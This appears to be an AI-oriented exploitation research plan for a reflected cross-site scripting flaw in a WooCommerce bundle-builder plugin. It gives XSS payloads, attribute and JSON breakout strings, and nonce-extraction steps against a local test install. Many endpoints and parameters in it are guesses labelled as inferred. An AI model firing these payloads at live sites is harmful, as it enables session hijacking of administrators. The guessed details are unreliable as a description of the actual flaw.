Bopo – WooCommerce Product Bundle Builder <= 1.2.0 - Reflected Cross-Site Scripting

This exploitation research plan outlines the investigation and proof-of-concept (PoC) development for CVE-2026-57422, a reflected Cross-Site Scripting (XSS) vulnerability in the "Bopo – WooCommerce Product Bundle Builder" plugin.

---

1. Vulnerability Summary

The Bopo – WooCommerce Product Bundle Builder plugin (<= 1.2.0) fails to sufficiently sanitize and escape user-provided input before reflecting it back into the web page. This allows an unauthenticated attacker to execute arbitrary JavaScript in the context of a user's browser (typically an administrator) by tricking them into clicking a crafted link. The vulnerability likely exists in a frontend or admin-ajax handler that processes product configuration or search parameters.

2. Attack Vector Analysis

• Endpoint: Likely a frontend page where the bundle builder is active or a wp_ajax_nopriv_ / wp_ajax_ handler in admin-ajax.php.
• Vulnerable Parameter: (Inferred) product_id, bundle_id, keyword, or a custom view parameter like tab or section.
• Authentication: None (Reflected XSS is typically unauthenticated).
• Preconditions: The plugin must be active. For reflected XSS via a shortcode-driven page, that page must exist or the attacker must target a generic endpoint (like search results or a specific AJAX action).

3. Code Flow (Inferred)

1. Entry Point: The user sends a GET/POST request containing a malicious payload to a specific parameter.
2. Hook Registration: The plugin registers an action (e.g., init, wp_ajax_bopo_get_products, or a shortcode callback).
3. Processing: The plugin retrieves the parameter directly from $_GET or $_POST.
4. Sink: The value is echoed directly to the response buffer or used inside an HTML attribute without being passed through esc_html(), esc_attr(), or wp_kses().
   • Example Sink Pattern: echo '<div data-id="' . $_GET['bundle_id'] . '"></div>';

4. Nonce Acquisition Strategy

While reflected XSS often doesn't require a nonce (as it's a direct reflection), if the vulnerability exists within an AJAX handler registered via wp_ajax_, a nonce may be required.

Strategy for Nonce Extraction:

1. Identify the Shortcode: Search for shortcode registrations:
   grep -r "add_shortcode" /var/www/html/wp-content/plugins/bopo-woo-product-bundle-builder/
   (Likely shortcode: [bopo_bundle] or similar).
2. Create Test Page:
   wp post create --post_type=page --post_title="Bopo Test" --post_status=publish --post_content='[bopo_bundle]'
3. Locate JS Variable: Use browser_navigate to the new page and inspect wp_localize_script outputs.
4. Extract via Browser:
   browser_eval("window.bopo_params?.nonce") or window.bopo_ajax_obj?.nonce (Inferred).

5. Exploitation Strategy

The goal is to trigger an alert(document.domain) via a reflected parameter.

Step 1: Discovery
Scan for potential reflected parameters in the plugin source:
grep -rP "echo.*\\\$_GET" /var/www/html/wp-content/plugins/bopo-woo-product-bundle-builder/

Step 2: PoC Request
If a vulnerable parameter (e.g., bopo_search) is identified in a frontend context:

• URL: http://localhost:8080/?bopo_search=<script>alert(document.domain)</script>
• Method: GET

If the vulnerability is in an AJAX handler (e.g., bopo_get_bundle_info):

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Body (URL-encoded):
  action=bopo_get_bundle_info&bundle_id="><script>alert(document.domain)</script>&nonce=[NONCE]

6. Test Data Setup

1. Install WooCommerce: The plugin depends on WooCommerce.
2. Create a Product:
   wp eval "wc_get_product_object_factory()->create(array('name' => 'Test Product', 'type' => 'simple'))->save();"
3. Create a Bundle Page:
   wp post create --post_type=page --post_title="Bundle Page" --post_content='[bopo_bundle]' --post_status=publish

7. Expected Results

• For Frontend Reflection: The HTTP response body contains the raw <script>alert(document.domain)</script> tag.
• For Attribute Injection: The response contains an element like <input value=""><script>alert(document.domain)</script>">.
• Browser Execution: When the URL is visited via browser_navigate, the alert dialog is triggered.

8. Verification Steps

1. Verify via CLI:
   Search the response of the targeted URL for the payload:
   http_request "http://localhost:8080/?vulnerable_param=<script>alert(1)</script>"
   Then check if the string <script>alert(1)</script> appears unencoded in the body.
2. Check for Sanitization: Compare the output with a patched version (1.2.1) where the output should be <script>....

9. Alternative Approaches

• Attribute Breakout: If the input is reflected inside an attribute (e.g., value='[INPUT]'), use a payload like ' onmouseover='alert(1)'.
• JSON Reflection: If the reflection occurs inside a <script> block (e.g., var config = {"id": "[INPUT]"};), use a payload like 1"}; alert(1); //.
• Global Search: If no specific parameter is found, grep the entire plugin for $_REQUEST used in files that are included during the template_redirect hook.